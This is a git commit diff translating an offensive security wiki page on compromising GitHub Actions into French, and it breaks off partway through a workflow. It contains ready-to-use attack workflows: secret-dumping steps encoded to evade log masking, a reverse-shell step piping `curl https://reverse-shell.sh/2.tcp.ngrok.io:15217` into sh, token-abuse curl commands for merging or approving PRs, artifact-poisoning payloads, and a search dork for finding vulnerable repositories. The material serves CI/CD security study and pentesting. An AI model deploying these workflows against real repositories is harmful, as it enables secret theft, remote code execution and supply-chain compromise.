Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:17:59 +00:00
parent 730ef05579
commit 9bd90436f1
245 changed files with 10089 additions and 12816 deletions

View File

@@ -4,389 +4,371 @@
## Basic Information
In this page you will find:
Dans cette page, vous trouverez :
- A **summary of all the impacts** of an attacker managing to access a Github Action
- Different ways to **get access to an action**:
- Having **permissions** to create the action
- Abusing **pull request** related triggers
- Abusing **other external access** techniques
- **Pivoting** from an already compromised repo
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
- Un **sumé de tous les impacts** d'un attaquant parvenant à accéder à une Github Action
- Différentes manières de **get access to an action** :
- Avoir des **permissions** pour créer l'action
- Abuser des déclencheurs liés aux **pull request**
- Abuser d'autres techniques d'accès **externes**
- **Pivoting** à partir d'un dépôt déjà compromis
- Enfin, une section sur les **techniques de post-exploitation pour abuser d'une action de l'intérieur** (causant les impacts mentionnés)
## Impacts Summary
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Pour une introduction sur [**Github Actions, consultez les informations de base**](../basic-github-information.md#github-actions).
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **repository**, vous pourriez être en mesure de :
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
- **Compromise deployments** and other **artifacts**.
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
- **Voler des secrets** montés dans le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles qu'AWS et GCP.
- **Compromettre des déploiements** et d'autres **artifacts**.
- Si le pipeline déploie ou stocke des actifs, vous pourriez altérer le produit final, permettant une attaque de la chaîne d'approvisionnement.
- **Exécuter du code dans des workers personnalisés** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
- **Écraser le code du repository**, en fonction des permissions associées au `GITHUB_TOKEN`.
## GITHUB_TOKEN
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est donné lorsque l'administrateur active cette option :
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Ce token est le même qu'une **Github Application utilisera**, donc il peut accéder aux mêmes points de terminaison : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **permet l'accès inter-repository** au sein de GitHub, afin qu'un repo puisse accéder à d'autres repos internes en utilisant le `GITHUB_TOKEN`.
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Vous pouvez voir les **permissions** possibles de ce token ici : [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Note that the token **expires after the job has completed**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Notez que le token **expire après la fin du job**.\
Ces tokens ressemblent à ceci : `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Some interesting things you can do with this token:
Certaines choses intéressantes que vous pouvez faire avec ce token :
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approve PR" }}
{{#tab name="Approuver PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Create PR" }}
{{#tab name="Créer PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
> Notez qu'à plusieurs reprises, vous pourrez trouver **des jetons d'utilisateur github dans les environnements Github Actions ou dans les secrets**. Ces jetons peuvent vous donner plus de privilèges sur le dépôt et l'organisation.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Liste des secrets dans la sortie de Github Action</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Obtenir un shell inversé avec des secrets</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
Il est possible de vérifier les permissions accordées à un Github Token dans les dépôts d'autres utilisateurs **en vérifiant les journaux** des actions :
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Allowed Execution
## Exécution Autorisée
> [!NOTE]
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
> Ce serait la manière la plus simple de compromettre les actions Github, car ce cas suppose que vous avez accès à **créer un nouveau dépôt dans l'organisation**, ou avoir **des privilèges d'écriture sur un dépôt**.
>
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
> Si vous êtes dans ce scénario, vous pouvez simplement consulter les [techniques de post-exploitation](./#post-exploitation-techniques-from-inside-an-action).
### Execution from Repo Creation
### Exécution à partir de la Création de Dépôt
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
Dans le cas où les membres d'une organisation peuvent **créer de nouveaux dépôts** et que vous pouvez exécuter des actions github, vous pouvez **créer un nouveau dépôt et voler les secrets définis au niveau de l'organisation**.
### Execution from a New Branch
### Exécution à partir d'une Nouvelle Branche
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
Si vous pouvez **créer une nouvelle branche dans un dépôt qui contient déjà une Action Github** configurée, vous pouvez **la modifier**, **télécharger** le contenu, puis **exécuter cette action depuis la nouvelle branche**. De cette manière, vous pouvez **exfiltrer les secrets au niveau du dépôt et de l'organisation** (mais vous devez savoir comment ils sont appelés).
Vous pouvez rendre l'action modifiée exécutable **manuellement**, lorsqu'un **PR est créé** ou lorsque **du code est poussé** (selon le niveau de discrétion que vous souhaitez avoir) :
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Forked Execution
## Exécution Forkée
> [!NOTE]
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter une action Github d'un autre dépôt**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait être en mesure de les compromettre.
### `pull_request`
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
Le déclencheur de workflow **`pull_request`** exécutera le workflow chaque fois qu'une demande de tirage est reçue avec quelques exceptions : par défaut, si c'est la **première fois** que vous **collaborez**, un **mainteneur** devra **approuver** l'**exécution** du workflow :
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
> Comme la **limitation par défaut** est pour les **contributeurs de première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** et ensuite envoyer **d'autres PRs pour abuser de vos nouveaux privilèges `pull_request`**.
>
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
> **J'ai testé cela et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte avec le nom de quelqu'un qui a contribué au projet et a supprimé son compte.~~
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
De plus, par défaut, cela **empêche les permissions d'écriture** et **l'accès aux secrets** du dépôt cible comme mentionné dans les [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) :
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
> À l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché depuis un dépôt **forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les demandes de tirage **provenant de dépôts forkés**.
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
Un attaquant pourrait modifier la définition de l'action Github afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler des secrets ou écraser le dépôt en raison des limitations mentionnées.
> [!CAUTION]
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
> **Oui, si l'attaquant change dans la PR l'action github qui sera déclenchée, son action Github sera celle utilisée et non celle du dépôt d'origine !**
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
Comme l'attaquant contrôle également le code exécuté, même s'il n'y a pas de secrets ou de permissions d'écriture sur le `GITHUB_TOKEN`, un attaquant pourrait par exemple **télécharger des artefacts malveillants**.
### **`pull_request_target`**
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
Le déclencheur de workflow **`pull_request_target`** a **des permissions d'écriture** sur le dépôt cible et **accès aux secrets** (et ne demande pas de permission).
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Notez que le déclencheur de workflow **`pull_request_target`** **s'exécute dans le contexte de base** et non dans celui donné par la PR (pour **ne pas exécuter de code non fiable**). Pour plus d'infos sur `pull_request_target`, [**consultez les docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
De plus, pour plus d'infos sur cet usage dangereux spécifique, consultez ce [**post de blog github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
Cela peut sembler parce que le **workflow exécuté** est celui défini dans la **base** et **non dans la PR**, qu'il est **sécurisé** d'utiliser **`pull_request_target`**, mais il y a **quelques cas où ce n'est pas le cas**.
An this one will have **access to secrets**.
Et celui-ci aura **accès aux secrets**.
### `workflow_run`
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
Le déclencheur [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permet d'exécuter un workflow à partir d'un autre lorsqu'il est `complété`, `demandé` ou `en cours`.
Dans cet exemple, un workflow est configuré pour s'exécuter après que le workflow séparé "Exécuter des tests" soit terminé :
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Moreover, according to the docs: Le workflow démarré par l'événement `workflow_run` est capable d'**accéder aux secrets et d'écrire des tokens, même si le workflow précédent ne l'était pas**.
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
Ce type de workflow pourrait être attaqué s'il **dépend** d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Le premier consiste à ce que le workflow déclenché par **`workflow_run`** télécharge le code des attaquants : `${{ github.event.pull_request.head.sha }}`\
Le second consiste à **passer** un **artifact** du code **non fiable** au workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO : Vérifiez si, lorsqu'il est exécuté à partir d'un pull_request, le code utilisé/téléchargé est celui de l'origine ou de la PR forkée.
## Abusing Forked Execution
## Abus de l'exécution forkée
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow github, maintenant examinons comment ces exécutions, si mal configurées, pourraient être abusées :
### Untrusted checkout execution
### Exécution de checkout non fiable
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
Dans le cas de **`pull_request`,** le workflow va être exécuté dans le **contexte de la PR** (il exécutera donc le **code malveillant de la PR**), mais quelqu'un doit **l'autoriser d'abord** et il s'exécutera avec certaines [limitations](./#pull_request).
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché à partir de **`pull_request_target` ou `pull_request`**, le code du dépôt original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
> Cependant, si l'**action** a un **checkout explicite de la PR** qui **récupérera le code de la PR** (et non de la base), elle utilisera le code contrôlé par les attaquants. Par exemple (voir la ligne 12 où le code de la PR est téléchargé) :
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
pull_request_target
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
<strong> - uses: actions/checkout@v2
</strong><strong> with:
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
</strong>
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
</code></pre>
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** car les scripts de construction et les **packages référencés sont contrôlés par l'auteur de la PR**.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
> Un dork github pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` cependant, il existe différentes façons de configurer les jobs pour être exécutés en toute sécurité même si l'action est configurée de manière non sécurisée (comme l'utilisation de conditionnelles sur qui est l'acteur générant la PR).
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Injections de scripts de contexte <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
Notez qu'il existe certains [**contextes github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant la PR. Si l'action github utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à **l'exécution de code arbitraire :**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **Injection de script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** dans un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
Si un attaquant pouvait **injecter n'importe quelle valeur** à l'intérieur de cette variable **env**, il pourrait injecter des variables d'environnement qui pourraient exécuter du code dans les étapes suivantes telles que **LD_PRELOAD** ou **NODE_OPTIONS**.
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
Par exemple ([**ceci**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) et [**ceci**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact téléchargé pour stocker son contenu à l'intérieur de la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait télécharger quelque chose comme ceci pour le compromettre :
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Vulnerable Third Party Github Actions
### Actions Github tierces vulnérables
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
Comme mentionné dans [**cet article de blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette action Github permet d'accéder à des artifacts provenant de différents workflows et même de dépôts.
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Example of vulnerable workflow:
Le problème est que si le paramètre **`path`** n'est pas défini, l'artifact est extrait dans le répertoire actuel et peut écraser des fichiers qui pourraient être utilisés ou même exécutés plus tard dans le workflow. Par conséquent, si l'artifact est vulnérable, un attaquant pourrait en abuser pour compromettre d'autres workflows faisant confiance à l'artifact.
Exemple de workflow vulnérable :
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
This could be attacked with this workflow:
Cela pourrait être attaqué avec ce flux de travail :
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Other External Access
## Autre Accès Externe
### Deleted Namespace Repo Hijacking
### Détournement de Namespace de Dépôt Supprimé
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
Si un compte change de nom, un autre utilisateur pourrait enregistrer un compte avec ce nom après un certain temps. Si un dépôt avait **moins de 100 étoiles avant le changement de nom**, Github permettra au nouvel utilisateur enregistré avec le même nom de créer un **dépôt avec le même nom** que celui supprimé.
> [!CAUTION]
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
> Donc, si une action utilise un dépôt d'un compte inexistant, il est toujours possible qu'un attaquant puisse créer ce compte et compromettre l'action.
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Si d'autres dépôts utilisaient **des dépendances de ces dépôts d'utilisateur**, un attaquant pourra les détourner. Voici une explication plus complète : [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
## Pivotement de Dépôt
> [!NOTE]
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
> Dans cette section, nous allons parler des techniques qui permettraient de **pivoter d'un dépôt à un autre** en supposant que nous avons un certain type d'accès au premier (voir la section précédente).
### Cache Poisoning
### Poisoning de Cache
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
Un cache est maintenu entre **les exécutions de workflow dans la même branche**. Ce qui signifie que si un attaquant **compromet** un **package** qui est ensuite stocké dans le cache et **téléchargé** et exécuté par un **workflow plus privilégié**, il pourra également **compromettre** ce workflow.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Artifact Poisoning
### Poisoning d'Artifact
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
Les workflows pourraient utiliser **des artifacts d'autres workflows et même de dépôts**, si un attaquant parvient à **compromettre** l'Action Github qui **télécharge un artifact** qui est ensuite utilisé par un autre workflow, il pourrait **compromettre les autres workflows** :
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
## Post Exploitation from an Action
## Post Exploitation d'une Action
### Accessing AWS and GCP via OIDC
### Accéder à AWS et GCP via OIDC
Check the following pages:
Consultez les pages suivantes :
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
### Accéder aux secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
If you are injecting content into a script it's interesting to know how you can access secrets:
Si vous injectez du contenu dans un script, il est intéressant de savoir comment vous pouvez accéder aux secrets :
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
- Si le secret ou le token est défini comme une **variable d'environnement**, il peut être directement accessible via l'environnement en utilisant **`printenv`**.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Liste des secrets dans la sortie de l'Action Github</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Obtenir un shell inversé avec des secrets</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
